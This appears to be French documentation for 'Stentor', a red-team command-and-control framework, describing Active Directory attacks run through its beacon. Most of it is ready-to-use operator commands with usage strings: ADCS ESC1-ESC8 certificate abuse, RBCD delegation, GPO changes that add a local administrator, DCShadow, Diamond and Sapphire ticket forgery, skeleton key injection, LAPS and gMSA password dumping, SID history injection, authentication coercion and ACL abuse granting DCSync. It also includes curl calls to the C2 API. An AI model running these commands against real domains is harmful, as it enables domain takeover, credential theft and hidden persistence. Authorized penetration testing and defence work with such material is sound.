Attaques Active Directory¶

Stentor fournit une suite complète de techniques d'attaque Active Directory couvrant l'abus des services de certificat (ADCS ESC1-ESC8), l'exploitation de la délégation, la manipulation des stratégies de groupe, la réplication d'annuaire, la falsification avancée de tickets Kerberos, l'extraction d'informations d'identification à partir d'objets AD, l'abus de confiance, la coercition d'authentification et l'élévation de privilèges basée sur l'ACL. Chaque technique s'exécute en cours de processus via le beacon : aucun processus enfant n'est généré, aucun outil externe n'est déposé sur le disque.

Aperçu¶

Active Directory est l'épine dorsale de la gestion des identités et des accès en entreprise, et sa surface d'attaque est par conséquent vaste. Stentor organise les attaques AD en neuf catégories qui correspondent à la progression typique d'un engagement de compromission de domaine :

graph TD
    A[Initial Foothold<br/>Domain User] --> B{Reconnaissance}
    B --> C[ACL Abuse<br/>Permission-based escalation]
    B --> D[ADCS Exploitation<br/>Certificate abuse ESC1-ESC8]
    B --> E[Coercion<br/>Forced authentication]
    B --> F[GPO Abuse<br/>Group Policy manipulation]
    C --> G[Credential Extraction<br/>LAPS, gMSA]
    D --> H[Kerberos Tickets<br/>Diamond, Sapphire]
    E --> D
    F --> I[Code Execution<br/>via GPO deployment]
    G --> J[Lateral Movement]
    H --> J
    I --> J
    J --> K[Delegation Abuse<br/>RBCD, S4U]
    K --> L[Domain Admin]
    L --> M[Trust Abuse<br/>Cross-forest]
    L --> N[DCShadow<br/>Rogue DC]
    L --> O[Persistence<br/>SID History, Skeleton Key]

    style A fill:#6a1b9a,color:#fff
    style L fill:#b71c1c,color:#fff
    style M fill:#1a237e,color:#fff
    style N fill:#1a237e,color:#fff
    style O fill:#1a237e,color:#fff

Catégories d’attaques AD¶

Attaques ADCS (ESC1-ESC8)¶

Les services de certificats Active Directory (AD CS) constituent l’une des surfaces d’attaque les plus efficaces dans les environnements AD modernes. La convention de dénomination ESC suit le document de recherche SpecterOps « Certified Pre-Owned », qui a identifié huit classes principales de mauvaise configuration (ESC1 à ESC8) qui permettent une élévation de privilèges via un abus de certificat.

Chaque technique d'exploitation ADCS dans Stentor s'enchaîne automatiquement à l'authentification PKINIT et à UnPAC-the-Hash pour l'extraction NTLM, fournissant ainsi un pipeline complet de certificat à identifiant.

ESC1 : Sujet des fournitures pour les inscrits¶

ESC1 exploite les modèles de certificat dans lesquels CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT est défini et où l'EKU d'authentification client est présent, permettant au demandeur de spécifier un nom alternatif de sujet (SAN) arbitraire pour usurper l'identité de n'importe quel utilisateur de domaine.

Chaîne d'attaque : Demander un certificat avec SAN arbitraire -> PKINIT avec certificat -> TGT en tant qu'utilisateur cible -> UnPAC-the-Hash pour NTLM

esc1 [email protected] DC01\CorpCA VulnTemplate CORP.LOCAL 10.10.10.1

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "esc1 [email protected] DC01\\CorpCA VulnTemplate CORP.LOCAL 10.10.10.1"
  }'

ESC2 : EKU à tout usage¶

ESC2 exploite des modèles avec un EKU « Any Purpose » (OID 2.5.29.37.0) ou aucune contrainte EKU. Le certificat émis peut être utilisé pour l'authentification client même s'il ne dispose pas explicitement de cette EKU, permettant ainsi l'authentification PKINIT en tant qu'utilisateur actuel.

esc2 DC01\CorpCA AnyPurposeTemplate CORP.LOCAL 10.10.10.1

Utilisation : esc2 [ca] [template] [domain] [dc]

ESC3 : Agent d'inscription¶

ESC3 est une attaque d'agent d'inscription en deux étapes. Tout d’abord, demandez un certificat d’agent de demande de certificat, puis utilisez-le pour demander un certificat au nom d’un utilisateur cible à partir d’un modèle différent.

esc3 [email protected] DC01\CorpCA AgentTemplate UserTemplate CORP.LOCAL 10.10.10.1

Utilisation : esc3 <target_user> [ca] [agent_template] [target_template] [domain] [dc]

Chaîne d'attaque : Certificat d'agent -> Certificat au nom de -> PKINIT TGT -> Hachage NTLM

ESC4 : ACL de modèle vulnérable¶

ESC4 cible les modèles de certificat pour lesquels l'utilisateur actuel dispose d'un accès en écriture (GenericWrite, GenericAll, WriteOwner, WriteDACL). L'attaque modifie le modèle via LDAP pour activer ENROLLEE_SUPPLIES_SUBJECT, puis s'enchaîne au flux ESC1.

esc4 [email protected] WritableTemplate DC01\CorpCA CORP.LOCAL 10.10.10.1
esc4 [email protected] WritableTemplate DC01\CorpCA CORP.LOCAL 10.10.10.1 --no-restore

Utilisation : esc4 <target_user> <template> [ca] [domain] [dc] [--no-restore]

Chaîne d'attaque : Modification du modèle -> ESC1 (SAN arbitraire) -> PKINIT TGT -> Hachage NTLM -> Restauration du modèle

ESC6 : EDITF_ATTRIBUTESUBJECTALTNAME2¶

Lorsque l'autorité de certification a activé EDITF_ATTRIBUTESUBJECTALTNAME2, TOUTE demande de certificat peut inclure un SAN arbitraire dans la chaîne d'attributs de la demande, quels que soient les paramètres du modèle. Cela rend effectivement chaque modèle de cette autorité de certification vulnérable.

esc6 [email protected] DC01\CorpCA User CORP.LOCAL 10.10.10.1

Utilisation : esc6 <target_user> [ca] [template] [domain] [dc]

ESC7 : ManageCA / ManageCertificates¶

ESC7 exploite les autorisations au niveau de l'autorité de certification. Deux scénarios sont pris en charge :

esc7 [email protected] DC01\CorpCA User CORP.LOCAL 10.10.10.1 a

esc7 [email protected] DC01\CorpCA ApprovalTemplate CORP.LOCAL 10.10.10.1 b

Utilisation : esc7 <target_user> [ca] [template] [domain] [dc] [scenario:a|b]

ESC8 : relais NTLM vers inscription HTTP¶

ESC8 est l'attaque ADCS la plus percutante : elle ne nécessite aucune mauvaise configuration particulière du modèle, mais seulement que l'autorité de certification ait activé l'inscription HTTP (courant dans les environnements d'entreprise). Combiné avec la coercition NTLM (PetitPotam/PrinterBug), il permet l'escalade de domaine en relayant l'authentification vers le point de terminaison d'inscription HTTP de l'autorité de certification.

esc8 ca01.corp.local CorpCA Machine DC01$ CORP.LOCAL 10.10.10.1 --user CORP\admin --pass Password123

esc8 ca01.corp.local CorpCA Machine DC01$ CORP.LOCAL 10.10.10.1 --relay --listen-port 8080

Utilisation : esc8 <ca_host> <ca_name> [template] [target] [domain] [dc] [--relay] [--listen-port 8080] [--user user] [--pass password]

Le mode relais ESC8 est plus efficace lorsqu'il est combiné avec des techniques de coercition. Utilisez petitpotam ou printerbug pour déclencher l'authentification auprès du listener relais.

Prise en charge des commandes ADCS¶

cert_request¶

Demande de certificat générique : la commande de base pour toutes les opérations ADCS.

cert_request DC01\CorpCA UserTemplate

shadow_creds¶

Ajoutez un identifiant de clé à l'attribut msDS-KeyCredentialLink d'une cible, permettant l'authentification PKINIT sans connaître le mot de passe. Prend également en charge la liste et la suppression des informations d'identification clés.

shadow_creds svc_sql CORP.LOCAL 10.10.10.1
shadow_creds list svc_sql CORP.LOCAL 10.10.10.1
shadow_creds remove svc_sql <device_id> CORP.LOCAL 10.10.10.1

pkinit¶

Authentifiez-vous à l'aide d'un certificat (PFX/PKCS12) pour obtenir un TGT via RFC 4556 PKINIT.

pkinit C:\certs\admin.pfx CORP.LOCAL 10.10.10.1

unpac_the_hash¶

Extrayez le hachage NTLM d'une session Kerberos authentifiée par PKINIT en déchiffrant PAC_CREDENTIAL_INFO.

unpac_the_hash C:\certs\admin.pfx CORP.LOCAL 10.10.10.1

Comparaison ADCS-OPSEC¶

Délégation contrainte basée sur les ressources (RBCD)¶

RBCD est une attaque en trois étapes qui exploite l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity sur les comptes d'ordinateurs. Contrairement à la délégation contrainte classique (qui nécessite la configuration de l'administrateur de domaine), la délégation RBCD peut être configurée par n'importe quel principal disposant d'un accès en écriture à l'objet AD de l'ordinateur cible.

sequenceDiagram
    participant Op as Operator
    participant B as Beacon
    participant AD as Active Directory
    participant KDC as KDC

    Note over Op,KDC: Step 1: Add Computer Account
    Op->>B: rbcd_addcomputer EVILPC Password123
    B->>AD: LDAP Add (objectClass=computer, sAMAccountName=EVILPC$)
    AD-->>B: Success (MachineAccountQuota)

    Note over Op,KDC: Step 2: Write Delegation
    Op->>B: rbcd_write TARGET$ EVILPC$
    B->>AD: LDAP Modify (msDS-AllowedToActOnBehalfOfOtherIdentity += EVILPC$ SID)
    AD-->>B: Success

    Note over Op,KDC: Step 3: S4U Attack
    Op->>B: rbcd_attack TARGET$
    B->>KDC: S4U2Self (as EVILPC$, impersonate Administrator)
    KDC-->>B: Service Ticket (forwardable)
    B->>KDC: S4U2Proxy (forward ticket to TARGET$ SPN)
    KDC-->>B: Service Ticket for TARGET$
    B-->>Op: Admin access to TARGET$

Étape 1 : rbcd_addcomputer¶

Créez un nouveau compte d'ordinateur en utilisant ms-DS-MachineAccountQuota (par défaut : 10 par utilisateur de domaine).

rbcd_addcomputer EVILPC Password123 CORP.LOCAL 10.10.10.1

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "rbcd_addcomputer EVILPC Password123 CORP.LOCAL 10.10.10.1"
  }'

Étape 2 : rbcd_write¶

Écrivez l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity sur l'ordinateur cible pour autoriser la délégation à partir du compte d'ordinateur contrôlé par l'attaquant.

rbcd_write TARGET$ EVILPC$ CORP.LOCAL 10.10.10.1
rbcd_write TARGET$ EVILPC$ CORP.LOCAL 10.10.10.1 --remove

Utilisation : rbcd_write <target> <delegate_from> [domain] [dc] [--remove]

Étape 3 : rbcd_attack¶

Exécutez la chaîne d'attaque RBCD complète : S4U2Self + S4U2Proxy pour obtenir un ticket de service en tant qu'utilisateur usurpé.

rbcd_attack TARGET$ administrator CORP.LOCAL 10.10.10.1
rbcd_attack TARGET$ administrator CORP.LOCAL 10.10.10.1 --cleanup

Utilisation : rbcd_attack <target> [impersonate_user] [domain] [dc] [--cleanup] [--skip-add] [--skip-write] [--computer <name>] [--password <pass>] [--impersonate <user>] [--spn <spn>]

s4u¶

Commande autonome S4U2Self + S4U2Proxy pour une exploitation de délégation contrainte (non limitée au RBCD).

s4u administrator cifs/TARGET$ svc_sql Password123 CORP.LOCAL 10.10.10.1

Utilisation : s4u <impersonate_user> <target_spn> <svc_user> <svc_password> <domain> [dc]

Procédure pas à pas complète de la chaîne d'attaque¶

1. Énumérer les objets informatiques inscriptibles : recherchez GenericAll, GenericWrite ou WriteDACL sur les comptes d'ordinateurs cibles.
2. Ajouter un ordinateur : rbcd_addcomputer EVILPC P@ssw0rd CORP.LOCAL 10.10.10.1
3. Écrire la délégation : rbcd_write DC01$ EVILPC$ CORP.LOCAL 10.10.10.1
4. Demande de billet : rbcd_attack DC01$ administrator CORP.LOCAL 10.10.10.1
5. Utilisez le ticket : kerberos_ticket_use <kirbi_base64> pour injecter le ticket de service
6. Nettoyage : rbcd_write DC01$ EVILPC$ CORP.LOCAL 10.10.10.1 --remove

Abus des objets de stratégie de groupe¶

Les objets de stratégie de groupe (GPO) définissent les paramètres de sécurité, le déploiement de logiciels et les scripts qui s'appliquent aux ordinateurs et aux utilisateurs au sein des unités d'organisation liées. Si un attaquant dispose d'un accès en écriture à un GPO, il peut le modifier pour déployer des tâches planifiées, des scripts ou des attributions de droits d'utilisateur malveillants.

gpo_enum¶

Énumérez tous les GPO du domaine, leurs unités d'organisation liées et les autorisations d'écriture sur chaque GPO. Met en évidence les GPO inscriptibles à l’attention de l’opérateur.

gpo_enum
gpo_enum DefaultDomain CORP.LOCAL 10.10.10.1

Utilisation : gpo_enum [filter] [domain] [dc]

gpo_modify¶

Modifiez un GPO inscriptible pour déployer une tâche planifiée immédiate. La modification met à jour à la fois le GPC (Group Policy Container) dans LDAP et le GPT (Group Policy Template) ScheduledTasks.xml sur SYSVOL.

gpo_modify "Default Domain Policy" "powershell -enc AAAA..." --task-name UpdateCheck --user SYSTEM
gpo_modify "IT Workstations" "net localgroup administrators evil$ /add" --force

Utilisation : gpo_modify <gpo_name> <command> [arguments] [--task-name <name>] [--user <context>] [--force] [--domain <domain>] [--dc <dc>]

gpo_cleanup¶

Restaurer un GPO à son état d'origine après exploitation. Supprime le ScheduledTasks.xml de SYSVOL et rétablit les numéros de version GPC.

gpo_cleanup "Default Domain Policy" CORP.LOCAL 10.10.10.1

Utilisation : gpo_cleanup <gpo_name> [domain] [dc]

Chaîne d'attaque GPO¶

1. Enumerate : gpo_enum -- identifie les objets de stratégie de groupe inscriptibles
2. Identifier les cibles : Notez à quelles unités d'organisation l'objet de stratégie de groupe inscriptible est lié
3. Modifier : gpo_modify "WritableGPO" "net localgroup administrators evil$ /add"
4. Attendez : Actualisation de la stratégie de groupe (90 à 120 minutes) ou force : gpupdate /force sur la cible
5. Nettoyage : gpo_cleanup "WritableGPO"

DCShadow¶

DCShadow (T1207) permet à un attaquant d'enregistrer temporairement un contrôleur de domaine malveillant et de pousser les modifications AD qui apparaissent comme du trafic de réplication légitime. Les modifications apportées via DCShadow sont attribuées à l’ID d’invocation du DC malveillant dans les métadonnées de réplication, ce qui rend l’analyse médico-légale plus difficile.

dcshadow_register¶

Enregistrez la machine actuelle en tant que contrôleur de domaine malveillant en créant des objets nTDSDSA et serveur dans la partition de configuration et en ajoutant des SPN spécifiques au contrôleur de domaine au compte de l'ordinateur.

dcshadow_register WORKSTATION1 CORP.LOCAL 10.10.10.1

Utilisation : dcshadow_register [computer_name] [domain] [dc]

dcshadow_push¶

Poussez une modification d’attribut AD tout en étant enregistré en tant que contrôleur de domaine malveillant. La modification est attribuée à l’ID d’invocation du contrôleur de domaine malveillant dans les métadonnées de réplication.

dcshadow_push "CN=target,CN=Users,DC=corp,DC=local" description "Modified via DCShadow"
dcshadow_push "CN=target,CN=Users,DC=corp,DC=local" sIDHistory S-1-5-21-xxx-519 --type binary_hex

Utilisation : dcshadow_push <target_dn> <attribute> <value> [--type <string|binary_hex|int>] [--op <replace|add|delete>]

dcshadow_cleanup¶

Supprimez toutes les traces DC indésirables : supprimez nTDSDSA et les objets serveur de la partition de configuration et supprimez les SPN DC du compte d'ordinateur.

dcshadow_cleanup WORKSTATION1 CORP.LOCAL 10.10.10.1

Utilisation : dcshadow_cleanup [computer_name] [domain] [dc]

dcshadow (tout-en-un)¶

Exécutez le cycle de vie complet de DCShadow en une seule commande : registre -> modification push -> nettoyage.

dcshadow "CN=target,CN=Users,DC=corp,DC=local" description "Modified" --computer WORKSTATION1
dcshadow "CN=target,CN=Users,DC=corp,DC=local" sIDHistory S-1-5-21-xxx-519 --type binary_hex --skip-cleanup

Utilisation : dcshadow <target_dn> <attribute> <value> [--computer <name>] [--skip-cleanup] [--type <string|binary_hex|int>] [--op <replace|add|delete>]

Chaîne d'attaque DCShadow¶

1. Enregistrez un DC malveillant : dcshadow_register (à partir du beacon SYSTEM)
2. Modification push : dcshadow_push (à partir du beacon DA) -- par exemple, modifier sIDHistory, la description ou tout autre attribut
3. Nettoyage : dcshadow_cleanup (depuis le beacon SYSTEM) – supprime toutes les traces DC malveillantes
4. Vérifier : Les modifications apparaissent dans les métadonnées de réplication attribuées à l'ID d'appel du contrôleur de domaine malveillant.

Billets Kerberos avancés¶

Au-delà des tickets Golden et Silver (abordés dans la page Credentials), Stentor implémente les tickets Diamond et Sapphire pour une falsification de tickets Kerberos plus résistante à la détection, ainsi qu'une clé squelette pour des portes dérobées d'authentification persistantes.

diamond_ticket¶

Les Diamond Tickets demandent un TGT légitime via AS-REQ, puis décryptent et modifient le PAC pour inclure les adhésions aux groupes d'administrateurs. Contrairement aux Golden Tickets (entièrement falsifiés), les Diamond Tickets partent d'une véritable interaction KDC, ce qui les rend plus difficiles à détecter car le ticket possède une signature KDC légitime et crée un véritable événement 4768 dans les journaux KDC.

diamond_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 10.10.10.1 aes256_hex_key
diamond_ticket CORP.LOCAL S-1-5-21-xxx 10.10.10.1 aes256key --user jsmith --user-password P@ss --impersonate Administrator --rid 500

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "diamond_ticket CORP.LOCAL S-1-5-21-xxx 10.10.10.1 aes256key --impersonate Administrator"
  }'

Flux de billets Diamant :

1. Demander un TGT légitime via AS-REQ (crée un véritable événement 4768)
2. Décryptez EncTicketPart de TGT à l'aide de la clé krbtgt AES256
3. Remplacez le PAC par un PAC contrefait contenant les adhésions aux groupes d'administrateurs
4. Rechiffrer EncTicketPart modifié avec la clé krbtgt
5. Exporter au format ccache ou kirbi

sapphire_ticket¶

Les tickets Sapphire constituent la technique de falsification de tickets la plus résistante à la détection. Ils obtiennent un PAC légitime du KDC via S4U2Self plutôt que d'en forger un manuellement, ce qui rend le contenu du PAC impossible à distinguer d'un vrai ticket.

sapphire_ticket CORP.LOCAL 10.10.10.1 aes256_hex_key administrator
sapphire_ticket CORP.LOCAL 10.10.10.1 aes256key administrator --output C:\ticket.kirbi --format kirbi

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sapphire_ticket CORP.LOCAL 10.10.10.1 aes256key administrator"
  }'

Flux de billets Sapphire :

1. Obtenez un TGT en tant que krbtgt en utilisant la clé krbtgt AES256
2. Exécutez S4U2Self en tant que krbtgt pour usurper l'identité de l'utilisateur cible - KDC génère un véritable PAC
3. Décryptez le ticket S4U2Self et extrayez le PAC légitime
4. Créez un nouveau TGT avec le PAC légitime intégré
5. Exporter au format ccache ou kirbi

skeleton_key¶

Injectez un mot de passe principal dans le contrôleur de domaine LSASS qui fonctionne avec les mots de passe normaux. Après injection, tout utilisateur du domaine peut s'authentifier à la fois avec son vrai mot de passe ET le mot de passe squelette.

skeleton_key
skeleton_key --password CustomSkel3ton!

Utilisation : skeleton_key [--password <custom_password>]

Mot de passe squelette par défaut : mimikatz

Extraction des informations d'identification AD¶

laps_dump¶

Lisez les mots de passe LAPS (Local Administrator Password Solution) à partir d'Active Directory. Prend en charge à la fois LAPSv1 (ms-Mcs-AdmPwd, texte brut) et LAPSv2 (msLAPS-Password JSON, msLAPS-EncryptedPassword DPAPI-NG crypté).

laps_dump WS01
laps_dump * --domain CORP.LOCAL --dc 10.10.10.1
laps_dump DC01 --domain CORP.LOCAL --dc 10.10.10.1 --user admin --password P@ss

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "laps_dump WS01 --domain CORP.LOCAL --dc 10.10.10.1"
  }'

gmsa_dump¶

Lisez les mots de passe du compte de service géré de groupe (gMSA) à partir du blob binaire msDS-ManagedPassword. Analyse la structure MSDS-MANAGEDPASSWORD_BLOB pour extraire les mots de passe actuels et précédents, puis calcule les hachages NTLM (MD4 des octets bruts du mot de passe UTF-16LE).

gmsa_dump svc_sql$
gmsa_dump * --domain CORP.LOCAL --dc 10.10.10.1

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "gmsa_dump svc_sql$ --domain CORP.LOCAL --dc 10.10.10.1"
  }'

Abus de confiance et inter-forêts¶

trust_enum¶

Énumérez toutes les relations d’approbation de domaine et de forêt. Répertorie le type d’approbation (parent-enfant, forêt, externe), la direction (entrante, sortante, bidirectionnelle) et l’état du filtrage SID – essentiels pour déterminer si l’injection de l’historique SID réussira dans l’approbation.

trust_enum
trust_enum --domain CORP.LOCAL --dc 10.10.10.1

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "trust_enum --domain CORP.LOCAL --dc 10.10.10.1"
  }'

La sortie inclut :

• Nom de domaine du partenaire de confiance et nom NetBIOS (plat)
• Direction de confiance : entrante, sortante ou bidirectionnelle
• Type de confiance : Parent-Enfant, Forêt, Externe, MIT (domaine Kerberos)
• Attributs de confiance : forêt transitive, filtrage SID, mise en quarantaine
• Faire confiance au SID et à l'état de filtrage des SID

sid_history¶

Injectez des SID dans l’attribut sIDHistory d’un utilisateur pour une élévation de privilèges entre domaines ou entre forêts. Deux modes opérationnels sont disponibles : la modification directe LDAP et la modification basée sur DCShadow.

sid_history jsmith S-1-5-21-xxx-519 --domain CORP.LOCAL --dc 10.10.10.1
sid_history jsmith S-1-5-21-xxx-519 S-1-5-21-xxx-512 --mode dcshadow
sid_history jsmith S-1-5-21-xxx-519 --remove

Utilisation : sid_history <target> <sid1> [sid2...] [--mode <ldap|dcshadow>] [--remove] [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]

Coercition d’authentification¶

Les techniques de coercition d’authentification forcent une machine cible à s’authentifier auprès d’un listener contrôlé par un attaquant à l’aide de NTLM. L'authentification capturée peut être relayée vers d'autres services (LDAP, inscription HTTP ADCS, SMB) pour une élévation de privilèges. Les cinq techniques utilisent les interfaces Windows RPC pour déclencher le rappel.

printerbug¶

Abusez de la fonction `RpcRemoteFindFirstPrinterChangeNotification` (MS-RPRN) du service Print Spooler pour forcer l'authentification.

```
printerbug 10.10.10.1 10.10.10.50
printerbug DC01.corp.local 10.10.10.50 CORP\user P@ssword
```

**Utilisation :** `printerbug <target> <listener> [DOMAIN\user password]`

!!! info "Exigence de service"
    Nécessite que le service **Print Spooler** (`Spooler`) soit exécuté sur la cible. Activé par défaut sur la plupart des serveurs et postes de travail Windows.

petitpotam 10.10.10.1 10.10.10.50
petitpotam DC01.corp.local 10.10.10.50 CORP\user P@ssword

dfscoerce 10.10.10.1 10.10.10.50

shadowcoerce 10.10.10.1 10.10.10.50

cheeseoinking 10.10.10.1 10.10.10.50

Comparaison des techniques de coercition¶

Flux de travail de coercition commun¶

La coercition est rarement utilisée seule : elle est le déclencheur d'une chaîne de relais NTLM :

1. Configurer la cible du relais : Démarrez le listener de relais ESC8 (esc8 ... --relay) ou configurez le relais LDAP (par exemple, pour l'écriture RBCD)
2. Déclencher la coercition : petitpotam <dc> <relay_listener> -- DC s'authentifie auprès du relais
3. Captures de relais : Authentification relayée vers le service cible (ADCS HTTP, LDAP)
4. Exploitation terminée : Certificat délivré (ESC8) ou délégation écrite (RBCD)

Abus de LCA¶

Les listes de contrôle d'accès (ACL) Active Directory définissent les autorisations sur les objets AD. Lorsque les attaquants découvrent qu'ils disposent d'autorisations d'écriture spécifiques sur des objets utilisateur, groupe ou unité organisationnelle, ils peuvent les exploiter pour élever leurs privilèges sans exploiter aucune vulnérabilité logicielle.

acl_pwreset¶

Forcer une réinitialisation du mot de passe via GenericAll ou User-Force-Change-Password ACL sur un utilisateur. Définit l'attribut unicodePwd via LDAP sans connaître le mot de passe actuel.

acl_pwreset targetuser NewP@ssw0rd! CORP.LOCAL 10.10.10.1

Utilisation : acl_pwreset <target_user> <new_password> [domain] [dc] [user] [pass]

acl_setspn¶

Définissez ou modifiez un nom principal de service (SPN) sur un compte utilisateur pour un Kerberoasting ciblé. Une fois qu'un SPN est défini, le ticket de service de l'utilisateur peut être demandé par n'importe quel utilisateur du domaine et piraté hors ligne.

acl_setspn targetuser MSSQLSvc/fake.corp.local:1433 CORP.LOCAL 10.10.10.1
acl_setspn targetuser MSSQLSvc/fake.corp.local:1433 CORP.LOCAL 10.10.10.1 --remove

Utilisation : acl_setspn <target_user> [spn] [domain] [dc] [--remove]

acl_addmember¶

Ajoutez ou supprimez un utilisateur d'un groupe via GenericAll, GenericWrite ou Self/WriteMember ACL sur l'objet groupe.

acl_addmember "Domain Admins" eviluser CORP.LOCAL 10.10.10.1
acl_addmember "Domain Admins" eviluser CORP.LOCAL 10.10.10.1 --remove

Utilisation : acl_addmember <group> <member> [domain] [dc] [--remove]

acl_dcsync¶

Accordez les droits DCSync (DS-Replication-Get-Changes et DS-Replication-Get-Changes-All) à un utilisateur sur l'objet de domaine, lui permettant d'effectuer DCSync pour extraire tous les hachages de mot de passe.

acl_dcsync eviluser CORP.LOCAL 10.10.10.1
acl_dcsync eviluser CORP.LOCAL 10.10.10.1 --remove

Utilisation : acl_dcsync <trustee> [domain] [dc] [user] [pass] [--remove]

acl_owner¶

Devenez propriétaire d'un objet AD via l'autorisation WriteOwner ou WriteDACL. Une fois la propriété acquise, le nouveau propriétaire peut modifier la DACL de l'objet pour s'accorder n'importe quelle autorisation.

acl_owner CN=target,CN=Users,DC=corp,DC=local eviluser CORP.LOCAL 10.10.10.1

Utilisation : acl_owner <target> [new_owner] [domain] [dc]

acl_sdhold¶

Abusez de SDPropagator via AdminSDHolder pour rendre les modifications ACL persistantes. Le descripteur de sécurité d'AdminSDHolder est automatiquement appliqué à tous les groupes protégés (administrateurs de domaine, administrateurs d'entreprise, etc.) toutes les 60 minutes par le processus SDProp.

acl_sdhold eviluser full CORP.LOCAL 10.10.10.1
acl_sdhold eviluser dcsync CORP.LOCAL 10.10.10.1
acl_sdhold eviluser CORP.LOCAL 10.10.10.1 --remove

Utilisation : acl_sdhold <trustee> [right:full|write|dcsync] [domain] [dc] [--remove]

Comparaison des abus d'ACL¶